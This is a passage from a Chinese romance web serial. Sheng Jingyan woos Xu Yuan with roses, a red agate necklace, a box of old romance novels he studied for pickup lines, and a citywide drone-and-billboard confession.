他微微侧过头,温热的唇瓣若有若无地擦过她的发丝,那触感,轻柔得像一场梦。 许愿的心跳,不受控制地加速。 她能感觉到他怀抱的力量,他声音里的深情,以及那句“恋爱脑”背后,毫无保留的爱意。 她想推开他,却又贪恋这份温暖和安心。她想嘲笑他,却又觉得心头泛起一丝奇异的甜意。 “你……”她终于找回了自己的声音,却干涩得厉害,带着一丝不易察觉的颤抖,“你少在这里胡说八道。” 盛景炎低低地笑,胸腔的震动透过薄薄的衣衫传递到她身上。 “是不是胡说,你心里清楚。”他故意用鼻尖蹭了蹭她的脸颊,那动作亲昵又暧昧,“我的心,都已经不属于我了,怎么可能会是开玩笑呢。” 许愿的脸颊更烫了,她将脸埋进他怀里,不想让他看到自己此刻的表情。 “盛景炎,”她闷闷地开口,声音里带着一丝认命的妥协,“你真是……无可救药了。” “是啊,无可救药了。”他收紧了怀抱,将她更深地揉进自己的身体里,声音里充满了满足和宠溺,“我喜欢这样。” 盛景炎甚至还在笑,那笑容带着几分少年气的得意,又夹杂着一丝狡黠与温柔。 他笑的时候,胸腔微微震荡,那沉稳的震动透过紧贴的身躯清晰地传递到许愿身上,仿佛连她的心跳都被这愉悦的节奏所感染,不由自主地加快了几分。 他低头看着怀里的人,眼神亮得惊人,像是盛满了整个星河的璀璨。 “阿愿,”他再次轻唤,声音里带着笑意,尾音微微上扬,带着一丝刻意的强调和不容置喙的肯定,“这次可是你自己扑进我怀里的,可不是我主动抱的。” 他故意顿了顿,似乎在欣赏许愿此刻微窘的表情,然后才慢悠悠地、一字一顿地抛出那句石破天惊的话,“这算不算是你答应了我的追求呢?” 他的语气里充满了戏谑,却又像在认真地寻求一个答案,那份小心翼翼的试探被他包裹在玩笑的外衣下,显得格外动人。 许愿愣了一下,从他温暖的怀抱中抬起头,脸颊还残留着未褪的绯红。 她看着他那副“得了便宜还卖乖”的模样,忍不住翻了个白眼,忍了又忍,实在没忍住,终于还是脱口而出:“盛景炎,你真的很得寸进尺!” “没有玫瑰花,没有礼物,更没有烛光晚餐,”她扳着手指,一条条数落着,仿佛要将所有浪漫仪式感的缺失都归咎于他,“这些最基本的追求流程,你一样都没做到,就想让我答应?盛景炎,你想的还挺美。”她故意说得严厉,试图扳回一城,可那微微颤抖的尾音和愈发红润的耳尖,却彻底出卖了她内心的慌乱与悸动。 说是这么说,可那红透的耳朵却像一颗熟透的樱桃,娇艳欲滴,泄露了她所有的口是心非。 她明明在控诉,却像极了情人间的撒娇。 话音才落,盛景炎眼中的笑意更浓了。 他扬了扬眉,深邃的眼眸里闪过一丝促狭和势在必得。 就在许愿还沉浸在自己“义正言辞”的控诉中时,他倏地趁着她不备,动作快如闪电长臂一伸直接将她打横抱了起来。 “啊!”许愿猝不及防,惊叫了一声,身体瞬间腾空,本能地伸手环住了他的脖子,以保持平衡。 她还没反应过来发生了什么,人已经被他抱着,三两步就走下了车,双脚重新接触到坚实的地面,但整个人依然被他牢牢圈在怀中。 许愿的心跳还未平复,带着一丝惊魂未定和茫然,她才想仰头问盛景炎这到底想做什么,这又是哪一出戏码,下一秒,她的目光便被眼前的一幕彻底攫住,所有的疑问都卡在了喉咙里。 只见盛景炎单手稳稳地抱着她,另一只手伸向了车的后备箱。 随着“咔哒”一声轻响,后备箱应声而开。 刹那间,一股浓郁而清甜的花香扑面而来,几乎要将人温柔地包裹。 映入眼帘的,是满满一后备箱的玫瑰花。 第1389章 礼物 那不是普通的玫瑰,而是娇艳欲滴、仿佛才从清晨的露水中采摘不久的顶级红玫瑰。 每一朵都开得正艳,花瓣层层叠叠,饱满而富有光泽,红得像燃烧的火焰,又像情人热烈的吻。 它们被精心地铺陈着,几乎填满了整个后备箱的空间,像一片流动的红色海洋,又像一个为她一人打造的浪漫梦境。 月光下,花瓣上还凝结着细小的水珠,折射出晶莹的光芒,更添了几分梦幻与不真实。 许愿彻底冷怔住了,所有的语言和表情管理在这一刻都失去了作用。她只是睁大了眼睛,怔怔地看着那片玫瑰花海,大脑一片空白,连呼吸都忘记了。 这巨大的惊喜来得太突然,太震撼,完全颠覆了她刚刚“控诉他没有仪式感”的论断。 在她呆愣的瞬间,盛景炎已经将她轻轻放下,让她双脚站稳。 他没有松开环抱着她的手,反而将她带得更近了些,让她能更清晰地看到那片花海。然后,他另一只手从玫瑰花丛中,小心翼翼地取出了一件东西。 那是一个精致的首饰盒。 盒子是镂空的木质结构,选用的是上等的深色檀木,散发着淡淡的、沉静的木香。 镂空的花纹并不反锁累赘,而是简洁而富有艺术感的几何图案,像是缠绕的藤蔓。 月光和车灯的光线透过那些镂空的缝隙,洒落在盒子内部,有种朦胧神秘的美感。 盛景炎将盒子捧到许愿面前,然后,用指腹轻轻一推。 “咔”的一声轻响,盒盖应声而开。 盒子里,静静地躺着一条项链。而项链的主石,是一块切割完美的血红色玛瑙石。那红,不是普通的红,而是深邃、浓郁、仿佛凝聚了世间所有热情与生命力的血红色。它在灯光下熠熠生辉,内部仿佛有流动的岩浆,那光芒,红得耀眼,红得璀璨,红得惊心动魄,与后备箱里那片玫瑰花海的红色遥相呼应,却又更添了几分沉淀与永恒的意味。 这条项链仿佛就是为了衬托许愿而存在。 许愿根本不知道自己此刻能说什么了。 她只是怔怔地看着那条项链,看着那块血红色的玛瑙石,大脑里一片空白。 许愿不是没有见识的人,自然猜测的到这条项链的价格有多高昂。 她只觉得眼眶有些发热,鼻尖也酸酸的。 她从未想过,盛景炎会准备这样一份惊喜。 他用行动,完美地回应了她那句“没有玫瑰花没有礼物”的控诉。 这不止是玫瑰花,这是一片花海,甚至她说没有礼物,他就变魔术一样变出了礼物。 夜色温柔,星辉如纱,盛景炎依旧没有催促许愿,只是静静地抱着她,将她牢牢圈在怀中。 他的下巴轻轻抵在她的发顶,温热的呼吸,带着男人特有的气息,一缕缕拂过她的发丝,撩拨着她心底最柔软的角落。 他的呼吸轻缓而规律,仿佛怀中的她,是他全部的宇宙。 每一次呼吸,都像是在无声地诉说爱意。 他的眼神专注而深情,一瞬不瞬地落在她的侧脸上。那目光,像夜色下的暖灯,细细描摹着她每一寸轮廓,她微翘的睫毛,挺拔的鼻梁,还有那因羞赧而微微泛红的脸颊。 盛景炎真的很喜欢这样专注地看着许愿,喜欢到只是凝望,都足以让他心情极好,仿佛所有的世界喧嚣都在此刻沉淀,只剩下她一个人的身影在他心海中荡漾。 他的目光里,有欣赏,有宠溺,也有深不见底的温柔。 两人靠得很近,近到许愿能清晰地感受到他胸膛的温度和有力的心跳。 她微微仰头,目光与他相撞,一时间,世界仿佛只剩下彼此的呼吸和心跳。 许愿的眼神有些闪躲,带着无措与慌张,她慌乱地想移开视线,却被盛景炎那双深邃的眼眸牢牢锁住。 那里面,有笑意,有温柔,也有毫不掩饰的爱意,仿佛一汪深潭,要将她整个吞噬进去。 “阿愿,”他再次低唤,声音沙哑而温柔,像夜风拂过耳畔,“现在,你愿意重新考虑一下我的问题了吗?” 盛景炎的语气里,带着他惯有的得寸进尺的狡黠,却又真诚得让人心颤。 许愿太了解他了,他就是很会演戏,很会卖乖,心眼儿是真的多。 但在她面前,他的所有心机与手段,都只是为了靠近她、打动她,没有一丝一毫祸害她的心思,而是源于一颗纯粹的真心,一颗真的喜欢她、渴望得到她回应的真心。 他所谓的“讨点好处”,所谓的“奢求垂怜”,其实只是想从她这里得到一点爱的回馈。 爱情,很多时候本就不平等。 彼此之间的爱意,并非总能完全对等。 总有一个人会更爱对方一些,也更容易患得患失。就像此刻的盛景炎和许愿。 许愿对盛景炎有感情吗?说完全没有,那是不对的。 她会被他的笑容感染,被他的专注打动,被他的浪漫惊喜所震撼。他的靠近,他的触碰,都会让她心跳加速,脸颊发热。 但她的这份感情,绝对比不过盛景炎对她的感情。 甚至可以说,两者之间相差甚远。盛景炎的爱,像一团熊熊燃烧的烈火,炽热而浓烈,而她的感情,更像是一簇刚刚点燃的火苗,还在试探着温度,摇曳着光芒。 她现在,更多的,是在试探。 她享受这种被他专注对待的感觉,享受这种暧昧不明的张力。 许愿是聪明人,她清楚地知道,暧昧与真正的恋爱关系是两回事。 一旦定下关系,那就意味着责任、承诺,要对此负责。这对许愿来说,是一个需要深思熟虑的重大决定。 她不能仅仅因为一时的心动和浪漫,就草率地交付自己的真心。 她了解的盛景炎,曾经是圈子里有名的“浪荡公子”。他身边从不缺女伴,隔三差五就能换一个,举止亲密,看起来风流成性。 虽然盛景炎再三解释,那些女伴都只是“演员”,是为了配合他做出一副海王模样,故意营造出的假象。 第1390章 他本来就是情场浪子 韩城以前还嘲讽盛景炎:“当什么浪荡公子哥啊,靠着这张脸直接原地出道当影帝不好吗?就冲你那纯天然演技,不出三年就拿个大满贯了。” 当然,这是夸张的说法,但也侧面说明盛景炎这人真的很会演,演技一流。 不过,许愿也渐渐发现,盛景炎的“演技”,并非对谁都用。 那些卖萌、装可怜、无赖撒娇的戏码,似乎只有在她面前才会展现。 他的柔软,他的孩子气,他的小委屈,都只给她一个人看。 这份认知,让她心里莫名地生出一丝窃喜,却又夹杂着一丝不确定。 因为,许愿不知道这些“特权”是否真的只属于她。她甚至会忍不住胡思乱想,盛景炎这么熟练,会不会也对着其它的女孩子这样卖过萌、装过可怜? 那些甜言蜜语,那些浪漫桥段,他是不是也对别人说过、用过? 就像今晚,又是铺天盖地的玫瑰花,又是精致的镂空木质礼盒里那枚血红色玛瑙项链。这套流程,熟练得让她有些心慌。送完东西就急着要确定关系,怎么看,都像是那些纨绔富二代惯用的追求套路,甚至让她产生一种错觉,他那句“想跟她谈恋爱”的话,在她耳朵里都仿佛变了味,听起来怎么都像“今晚去酒店”的邀约。 这种想法,让她自己都觉得有些荒谬,却又挥之不去。 此刻,两人依旧相拥着,彼此凝视。许愿的眼神愈发慌乱,她试图挣脱他的怀抱,却又被那温暖的臂弯和深邃的目光牢牢牵绊。 她的心跳加速,耳根泛红,呼吸也变得有些急促。 她不知道该如何回应他,更不知道自己的心意到底该如何安放。她害怕自己的动心只是一时的错觉,也害怕这份热烈的爱意会将她灼伤。 而盛景炎,眼底的笑意却愈发明显。 他能感受到许愿的无措和慌张,也读懂了她眼中那抹复杂的情绪。 他没有再逼她,只是静静地看着她,用目光安抚她,包容她的一切犹豫与防备。他的指尖轻轻摩挲着她的腰际,动作温柔而克制,仿佛在无声地告诉她:“没关系,我愿意等,等你真正准备好。” 两人的气息交融,暧昧在空气中蔓延。时间仿佛静止,所有的喧嚣都已远去,只剩下彼此的凝视和心跳。 盛景炎微微低下头,额头几乎要抵上她的额头,声音温柔得仿佛能滴出水来:“阿愿,不用急着回答我。你可以慢慢想,我会一直等你。”他的气息拂过她的唇角,带着诱人的温度,让许愿的心再一次剧烈地跳动起来。 她终于忍不住,轻轻咬了咬下唇,声音细若蚊呐:“盛景炎,你真的很讨厌……总是这样得寸进尺。” 盛景炎笑了,那笑容里满是宠溺和满足。 他低头,在她耳边轻声说:“只对你得寸进尺,只对你耍心机,只对你用心。阿愿,你能不能,试着相信我一次?” 许愿的心,在他这句话的冲击下,终于动摇了。 她抬起头,目光与他再次交汇,这一次,她没有闪躲。 她看到了他眼底那份纯粹的期待和深情,也看到了那份只属于她的温柔。 她的心底,仿佛有一道防线,在这一刻悄然崩塌。 就在盛景炎微微俯身,气息渐近,唇即将碰上许愿的那一刻,许愿忽然伸出手,带着一丝倔强和质疑,将他推远了些。 她的掌心贴在他的胸膛,能感受到他沉稳有力的心跳,可此刻,这心跳却让她更加心烦意乱。 盛景炎被她推开,也不恼,只是挑了挑眉,深邃的眼眸里带着几分戏谑和探究,静静地看着她,等着她的下文。 许愿的目光有些躲闪,却又强撑着直视他,声音带着一丝不易察觉的微颤和质问:“你这么熟练,给多少女生送过花,送过礼物?总不能我现在想要烛光晚餐,你也真的能变出来吧?”她试图划开盛景炎那层无懈可击的温柔伪装,想看看盛景炎葫芦里面到底卖什么药。 盛景炎听了,嘴角勾起一抹极轻极轻的笑意,那笑意如同春水初融,带着丝丝暖意。 他眼尾微微上扬,狭长的眸子里盛满了星光和宠溺,低沉的嗓音像大提琴的尾音,温柔地嗯了一声:“我可以变出烛光晚餐,只要你想要,只要我有,我都能给你。” 这句话,乍听之下不算一句空话。 他没有说“你想要的,我都给”,而是“我有的,我都能给你”。 这更像是一种郑重的承诺,一种将自己所有都愿意捧到她面前的真心。 可承诺这种东西,今天可以对她许下,明天是不是也能对其他人许下? 许愿听着,心里不可否认地涌上一丝感动,可更多的,却是一种荒诞的疏离感。 她觉得这更像是他信手拈来的情话,是说多了情话后,没控制住,又脱口而出的甜言蜜语,熟练得让她心慌。 许愿咬了咬唇,眼神里带着一丝倔强和受伤,再次问道:“你这些话……是不是对很多女生都说过?” 这一次,盛景炎没有否认,反而坦然地点了下头,语气平静却不容置疑:“是,说过很多次。” 许愿脸上的笑意瞬间僵住了,那抹原本因他的靠近而泛起的浅淡红晕,也迅速褪去,只剩下一片苍白和错愕。她的心,像是被一只无形的手猛地攥紧,又狠狠地揪了一下,疼得有些发闷。 她以为自己已经足够了解他,以为那些温柔和专注是独属于她的,可现实却像一盆冷水,兜头浇下,让她从头凉到脚。 许愿心想,这句话就是答案。 盛景炎就是情场浪子,因为情话说得太多了,所以才能几句话翻来覆去地说上无数次,熟练得像呼吸一样自然。 她都要被气笑了,觉得盛景炎这样属实是有点无耻了。 她又用力推了他一把,试图挣脱他的怀抱,逃离这令人窒息的氛围。 然而,下一秒,她的手就被盛景炎再一次牢牢握住。 他的手指修长而有力,紧紧地扣住她的手,不容她有丝毫的挣脱。 第1391章 他的秘籍 他重新将她捞进怀里,动作带着一丝霸道,却又无比温柔。他低头,在她耳边低声呢喃,声音里带着一丝哄诱:“阿愿,想不想知道,我这些情话,是从哪里学来的?” 许愿心里道,我才不想看,也不想听。 她抬头狠狠地瞪他,眼神里充满了控诉和委屈。 盛景炎却依旧是那副眉眼弯弯,笑嘻嘻的模样,半点不觉得自己此刻已经把许愿气得够呛。 许愿别过脸,声音带着一丝赌气的坚决:“我不看,你别跟我讲,我不想听。” 许愿确实有点生气了,只觉得心里此刻像是酸甜苦辣咸一起涌了上来。她觉得自己看走了眼,怎么会轻易就信了他那些动听的情话? 可转念一想,哪里是看走了眼呢? 盛景炎一直都是“浪子”的人设,是她自己鬼迷心窍,轻而易举就信了他的花言巧语,是她自己太笨了。 她生自己的气,更生他的气,气他把感情说得如此轻巧,气他把情话说得如此熟练。 盛景炎看着她气鼓鼓的样子,听着她带着鼻音的拒绝,却忍不住低低地笑了起来。 他的笑声在寂静的空气里显得格外清晰,带着一丝无奈,更多的却是宠溺。 他收紧了手臂,将她更紧地圈在怀里,让她无处可逃。 他低下头,温热的唇几乎要贴上她的耳廓,声音温柔得仿佛能滴出水来,深情而专注:“阿愿,有没有一种可能……” 他顿了顿,似乎在斟酌用词,又像是在积蓄勇气。 他深邃的眼眸里,此刻盛满了笑意,那笑意温柔而纯粹,像一汪清澈的泉水,映着她的身影。 “有没有一种可能,”他继续说道,每一个字都清晰地敲在许愿的心上,“我说的‘说过很多次’,是为了能好好地跟你说情话,私下里练习了很多很多次?” 他的声音低沉而富有磁性,每一个音节都像是羽毛,轻轻搔刮着许愿的心尖。 他温热的气息拂过她的耳畔,带着他独有的气息,让她本就混乱的思绪更加混沌。 “那些花,那些礼物,那些情话,”他放缓了语速,一字一句,清晰地说道,“全都是为了你,只为了你一个人准备的。都是为了能让你开心,能让你看到我的真心。阿愿,除了你,我从来没有对别人这样过。” 他说着,另一只空着的手轻轻抬起,用指腹温柔地拭去她眼角因生气而泛起的薄薄湿意。 他的动作轻柔得仿佛在对待一件稀世珍宝,眼神里的温柔和深情几乎要溢出来。 “你看,”他继续温柔地哄着,声音里带着一丝不易察觉的恳求,“我的眼里,心里,从始至终都只有你一个人。那些所谓的‘熟练’,不过是我爱你的笨拙方式。我只想把最好的,都给你。” 他的目光专注地凝视着她,眼底的笑意和温柔如同春水般荡漾开来,带着无尽的耐心和包容。他轻轻摩挲着她的手背,声音更加低柔:“别生气了,好不好?我的世界里,从来就只有你一个女主角。” 许愿愣住了。 她所有的防备,所有的生气,在他这番突如其来的、带着深情剖白的话语中,瞬间土崩瓦解。 她怔怔地看着他,看着他眼底那份纯粹到极致的温柔和笑意,看着他因为紧张而微微抿起的唇角,看着他眼中那映着自己身影的专注。 她原本以为的轻浮和熟练,原来都只是他为了她而做的笨拙努力。 那些情话,不是对别人的信手拈来,而是为了她而私下反复练习的真心。 空气仿佛凝固了,只剩下盛景炎温柔的声音和他眼底那片温柔的笑意。 许愿的呼吸有些急促,她怔怔地望着他,所有的生气与防备在这一刻悄然消融。她的眼神里多了几分迷茫,几分触动,还有一丝难以置信。 盛景炎依旧温柔地注视着她,指尖轻柔地滑过她的脸颊,声音柔和得像夜风:“阿愿,你相信我一次,好吗?” 许愿的心彻底软化了,她微微垂下眼帘,长长的睫毛在眼下投下一片阴影。 她没有再推开他,也没有再说话,只是静静地靠在他的怀里,感受着他胸膛的温度和有力的心跳。 许愿最后只是闷闷地嘟囔了一句:“我怎么知道你说的是真是假,如果你只是诓骗我的呢?事实上,你就是有很多情人呢……” 她的声音越来越低,带着一丝不易察觉的委屈和执拗。 她不是无理取闹,而是真的想要知道得清清楚楚,明明白白。 她固执地要一个确切的答案,不肯再轻易被几句甜言蜜语糊弄过去。 盛景炎听着她闷闷不乐的话语,看着她那双写满疑惑和期待的眼眸,轻咳了一声,下意识地扶了扶鼻梁上的眼镜。 镜片后的目光闪烁了一下,似乎在思考如何回应她的质疑。 他重新看向许愿,嘴角勾起一抹带着几分戏谑,又有些无奈的笑意,缓缓开口道:“你想看我的‘秘籍’吗?” 许愿闻言,疑惑地皱了皱眉头。 “秘籍”?到底是什么秘籍能让盛景炎此刻的反应这么古怪? 她脑海中飞速闪过各种念头,越想越觉得离奇,好奇心像是被点燃的火苗,迅速在她心中蔓延开来。 她是真的有点好奇了,几乎是不假思索地脱口而出:“我想看。” 盛景炎似乎是有些头疼地揉了揉眉心,嘴角却噙着一抹若有若无的笑意。 他没有再多说什么,只是拉开车门,许愿更是好奇,忍不住探头张望,只见盛景炎弯腰从车里抱出来一个沉甸甸的纸箱子。 箱子看起来有些年头了,边角有些磨损,上面印着的图案也有些模糊不清。 许愿满心疑惑,眼睛一眨不眨地盯着那个箱子,心里的期待和好奇被拉到了顶点。 当盛景炎将箱子放在她面前,打开盖子时,许愿不由得愣住了。 映入眼帘的,是一箱子码放得整整齐齐的书。 但那些书的封面,却让她瞬间瞪大了眼睛。那一箱子书的封面都是很古早的言情风格,色彩艳丽,画风大胆。浓烈的桃红色、深邃的宝蓝色交织在一起,封面上的男女主角姿态亲密,充满了戏剧性的张力。 许愿虽然没怎么看过这类,但也知道古早的一些言情,有些描写的都是非常露骨、直白,甚至带着几分禁忌的诱惑。 第1392章 浪漫轰炸 空气中仿佛都弥漫着一股陈年纸张和油墨混合的特殊气味,还夹杂着一丝淡淡的,属于旧物的尘埃气息。 许愿轻咳了一声,脸颊微微泛红,带着几分紧张和一丝莫名的兴奋,小心翼翼地问道:“我……我能看看吗?” 盛景炎将箱子往她那边推了推,语气坦然:“你随意。” 他靠在一旁,双手插在口袋里,镜片后的眼神带着几分促狭和期待,静静地看着她。 许愿深吸一口气,像是要进行一场庄严的仪式,她伸出手,有些紧张地在箱子里随意捞出来一本。 她翻开书页,目光落在封面上,下一秒,她的呼吸都停滞了。 那封面简直……太过“劲爆”。 画着一个上半身若隐若现的湿身霸总,水珠沿着他精壮的胸膛和腹肌滑落,眼神深邃而霸道,充满了侵略性的魅力。 而他怀里的女主角则是一副小鸟依人、楚楚可怜的模样,衣衫半湿,场景充满了暧昧的张力。 许愿:“……”她感觉自己脸颊发烫,拿着书的手都有些僵硬,不知道该把目光放在哪里。 盛景炎看到她的反应,也沉默了片刻,随即无奈地扶额,解释道:“……明明就是正经言情,都是当年很畅销的言情经典。” 但他的声音里也带着一丝尴尬,似乎连他自己都觉得这个解释有些无力。 许愿捧着那本书,只觉得指尖发烫,心脏怦怦直跳。 她快速地翻了翻内页,里面的文字果然如她所料,充满了那个年代特有的、直白而热烈的描写。 她可以想象,当年这些是如何风靡一时,又是如何被一些人视为“禁忌读物”。 她忍不住又从箱子里抽出几本,每一本的封面都各有“特色”,无一不是浓情蜜意、充满诱惑。 明明就是正经言情,不知道为什么,在此刻的氛围下,竟让她有种翻阅岛国禁忌杂志的错觉。 空气仿佛都凝固了,只剩下书页翻动的沙沙声和两人有些紊乱的呼吸声。 许愿的脑海里一片空白,她完全没想到,盛景炎所谓的“秘籍”,竟然是这样一箱子的古早言情。 盛景炎看着她震惊的样子,终于忍不住低低地笑了起来。他走近一步,从她手中接过那本“湿身霸总”的书,指尖轻轻抚过封面:“这些都是我为了学习怎么跟你表达感情,特意找来研究的‘教材’。” 刚才还会觉得有点羞耻,但现在再看盛景炎哪里还有一点羞耻的模样,脸皮是真的很厚了。 许愿猛地抬头,难以置信地看着盛景炎,眼眸里盛满了震惊与困惑,仿佛要从他的瞳孔深处寻出答案。 她的指尖还残留着方才那本“湿身霸总”封面的触感,温热的纸张似乎还带着旧时光的潮气,此刻却像一枚滚烫的烙印,灼得她指尖发麻。 许愿问:“所以,你那些情话,那些让我觉得甜蜜又心动的瞬间,都是从这些书里学来的?” 盛景炎望着她眼底的错愕与不安,眉宇间掠过一丝无奈,那抹无奈像春日湖面的薄雾,既藏着几分尴尬,又裹着满满的坦诚。 他指尖轻轻摩挲着箱沿,目光落在那一摞摞封面艳丽的古早言情上,缓缓开口,语气里带着几分自我剖析的坦然:“阿愿,我是想学一些浪漫的手段来追你。你也知道,我身边接触的很多人,说白了就是‘演员’。” 他顿了顿,深邃的眼眸里没有丝毫轻浮,反而透着一份清醒的认知,“其实我对她们并没有多少评价,毕竟,我们之间只是银货两讫的关系,我出钱,她们扮演我的‘情人’,不过是场各取所需的戏码。可正因如此,我才更清楚,我从未真正了解过女性真正喜欢什么,也从未有过真正用心去讨好谁的经验。” 夜风穿过,好似带着远处隐约的玫瑰香气,轻轻拂过两人的发梢。 盛景炎的声音在夜色里愈发低沉,却格外清晰:“所以,我需要一些教学资料,一些能让我真正懂得如何走进你心里的方法。” 他望着许愿,眼神认真得近乎虔诚,“我以为的教学资料,应该是正经的、理性的,或许是情感心理学的书籍,或许是那些描述真挚爱情的散文集。可哪里知道……” 他自嘲地笑了笑,抬手扶了扶鼻梁上的眼镜,镜片后的目光里满是无奈与好奇,“我的助理,竟买来了这些?” 盛景炎向来是行动派,既然买了,又满心疑惑,自然没有束之高阁的道理。 于是,鼎鼎大名的盛少爷,便在无数个夜晚,翻开了这些在旁人眼中或许有些“禁忌”的言情。 起初,他带着几分审视的态度,试图从那些直白热烈的文字里提炼出“有效”的恋爱技巧。 可看着看着,那些里描绘的深情告白、极致浪漫,像一场场华丽的梦境,让向来冷静自持的盛景炎也不禁动了心。 他笃定地认为,既然这些内容能被写成书、被无数读者追捧,那追求女性的方法肯定是有其真实性和可行性的。 他向来不是墨守成规的人,反而觉得里的那些浪漫场景还不够极致。 什么几千架无人机庆生? 盛景炎忍不住在心里吐槽,拜托,谁家豪门总裁给女主角庆生,只有几千架无人机的排场?怎么也要几万架,铺满整个帝城的夜空,让所有抬头的人都能看见他对她的偏爱。 还有那些在城市地标投放的广告告白,盛景炎更是觉得“小儿科”。 现在谁还会喜欢看那些冷冰冰的广告? 他要的是让整个城市都成为他告白的背景板。 于是,这位向来雷厉风行的盛少爷,竟真的抽疯般地付诸行动。 他专门花费大价钱,请来当红流量明星墨澜参与录制告白广告,墨澜本就是个喜欢看热闹、爱凑趣的人,这种“大场面”的邀约,他二话不说就接了下来。 广告投放算什么? 无人机庆生又算什么? 盛景炎要的是全方位、无死角的浪漫轰炸。 第1393章 挺有意思 他花钱包下了整个帝城的地铁站、出租车,甚至各类网约车上,全都滚动播放着他与墨澜录制的告白广告。 画面里,墨澜站在璀璨的灯光下,笑容灿烂地念着盛景炎亲自撰写的告白词,而背景音乐,则是他特意找人谱写的浪漫旋律。 整个帝城,仿佛都成了盛景炎为“爱”搭建的舞台,只等着那场盛大的告白降临。 可此刻,许愿还一无所知。 她站在盛景炎身边,看着他手中那本艳丽的言情,听着他的解释,心中的疑虑正一点点消散,取而代之的是一种难以言喻的感动。 她望着盛景炎那双写满真诚的眼眸,此刻内心都有点发软。 但是此刻的许愿还一无所知。 是的,许愿现在还不知道自己马上就要出大丑了。 许愿还红着耳朵,指尖捏着那本“湿身霸总”言情的书页,纸张边缘因她紧张的力道微微卷曲。 她原本只是随手翻了几页,可目光刚落在某一页时,却像被烫到般顿住。 那页的文字正浓墨重彩地描绘着男主角的告白场景,车子后备箱里层层叠叠的鲜花,像是把整个花园都搬了过来,拍卖会上拍下的红玛瑙项链,在灯光下流转着醉人的光泽,天空中无人机排列组合,拼出女主角的名字与“我爱你”的字样,城市各个角落的广告牌上,滚动播放着精心录制的告白视频,连路过的行人都忍不住驻足。 “噗——”许愿实在没忍住,短促的笑声从唇间溢出,带着几分难以置信的轻颤。 她抬手捂住嘴,眼尾还沾着笑意的湿意,偏头看向盛景炎,语气里满是调侃:“是不是有点太夸张了一些?这里写的,怎么感觉比偶像剧还离谱啊?” 话音刚落,她就敏锐地察觉到身边的气场变了。 盛景炎原本还带着几分无奈与坦然的身体,瞬间僵硬得像块石雕,连指尖都微微蜷缩了一下。 月光落在他紧绷的下颌线上,勾勒出清晰的轮廓,他甚至下意识地偏了偏头,似乎不敢再对上许愿那双带着探究与笑意的眼眸,喉结轻轻滚动了一下,像是在咽下某种难以言说的情绪。 许愿脸上的笑意也在这一刻僵住了。 盛景炎这反应,怎么透着股“此地无银三百两”的慌乱? 她的心跳猛地漏了一拍,脑子里像是有无数个问号炸开,又像是有只小兔子在蹦跳,让她既紧张又莫名期待。一个荒唐又让她不敢相信的想法冒了出来,像藤蔓般缠绕住她的心脏。 盛景炎这个狗,该不会真的在搞事吧? 她试探着开口,声音比刚才轻了许多,带着几分小心翼翼的试探:“你……” 刚吐出一个字,话就被突如其来的景象截断了。 夜空原本是深邃的墨蓝色,可就在这一瞬间,无数闪烁的光点突然从远处的天际亮起,像是被点燃的星星,带着嗡嗡的轻微声响,迅速向这边靠近。 那些光点在空中灵活地排列组合,先是拼成一朵盛放的玫瑰,花瓣的纹路都清晰可见,紧接着又变幻成一串流畅的字母,最后稳稳地定格成两个大大的汉字。 “许愿”。 “……”许愿彻底僵在原地,连呼吸都忘了。 她仰着头,望着天空中那片由无人机组成的璀璨图案,瞳孔里倒映着跳跃的光芒,像是盛满了整个星空。 她的手还停在半空,保持着刚才捂嘴的动作,可眼底的震惊已经盖过了所有情绪。 眼皮不受控制地跳了一下,又一下,像是在确认这不是幻觉。 无人机有了……那广告投放呢? 这个念头刚冒出来,远处地铁站的方向就传来一阵喧闹声。 许愿猛地转头看去,只见地铁站外的巨型广告牌上,正播放着一段视频,画面里,当红流量明星墨澜站在璀璨的灯光下,笑容灿烂得晃眼,手里拿着一张卡片,声音通过扩音设备清晰地传过来:“许愿小姐,盛景炎先生说,今晚的星空,是他为你点亮的礼物。他说,你比所有星光都耀眼。” “……”许愿的唇角狠狠抽了一下,连带着脸颊都绷紧了。 她转头看向盛景炎,眼神里满是震惊与难以置信,像是在看一个突然变疯的陌生人。 她真的觉得盛景炎做不出这么愚蠢可笑的事情! 能做出这种全城告白、还请明星助阵的人,绝对是脑袋坏掉了! 她拍着自己的胸口,试图平复那颗快要跳出嗓子眼的心,心里疯狂地想着:盛景炎那么聪明,应该不至于吧……他平时做事那么稳妥,怎么会搞这种又夸张又像闹剧的事情? 可当她再去看盛景炎时,却发现他此刻的眼神闪躲得更厉害了。 他先是抬头望向星空,像是在欣赏自己的“作品”,可当许愿的目光扫过来时,又飞快地低下头,看向地面,脚尖还无意识地蹭了蹭地面的尘土,显然此刻后知后觉的感觉 尴尬了,他镜片后的眼神飘忽不定,连平时的沉稳都荡然无存,只有耳尖悄悄染上了可疑的红色,在夜色里格外显眼。 “盛景炎疯了吧!”许愿在心里无声地呐喊,满脑子都是这个念头。 她看着他那副“既想让你看到我的用心,又怕你嫌我太夸张”的别扭模样,又气又笑,还带着几分说不出的复杂情绪,原来那些她以为的“笨拙浪漫”,根本不是“不够极致”,而是他早就悄悄把“极致”做到了她不敢想象的程度。 她深吸一口气,努力让自己的声音听起来平静些,可尾音还是带着点不易察觉的颤抖,问:“盛景炎,你没再干其它事情吧?不能更夸张了吧?” 盛景炎闻言,身体又僵了一下,连看天看地的动作都顿住了。 他依旧不看许愿,手指在口袋里轻轻绞了一下,才低声开口,语气里带着几分心虚,又藏着一丝不易察觉的期待:“我觉得还挺有意思的。” “哪里有意思了!”许愿的声音瞬间拔高,带着几分崩溃的意味。 第1394章 期待的“告白” 她看着盛景炎那副“死猪不怕开水烫”的别扭模样,又气又无奈,唇角抽搐得更厉害了,忍不住吐槽:“盛景炎,你是不是脑子进水了?全城告白就算了,还请墨澜这种流量明星别人会怎么想啊!” 盛景炎终于慢慢转过头,目光终于敢落在她脸上,可眼神里还带着几分躲闪,语气却认真得不像话:“我不想只让你一个人看到。我想让整个帝城都知道,我喜欢许愿,想和她在一起。钱不是问题,我只想……给你最特别的告白。”他顿了顿,声音也轻了下来,带着几分小心翼翼的试探,“你……你要是不喜欢,我们可以取消后面的部分……” 谁见过盛少爷这副低声下气的模样? 许愿看着他那副“你要是说不喜欢,我就立刻把无人机都撤下来”的急切模样,心里的气忽然就消了大半。 她明明还在抱怨,可眼底却忍不住漫上一丝笑意,连带着刚才的尴尬都淡了些。 她故意板着脸,走近一步,仰头盯着他的眼睛,语气里带着几分威胁:“盛景炎,你要是敢再搞出什么更夸张的事情,我就……我就再也不理你了!” 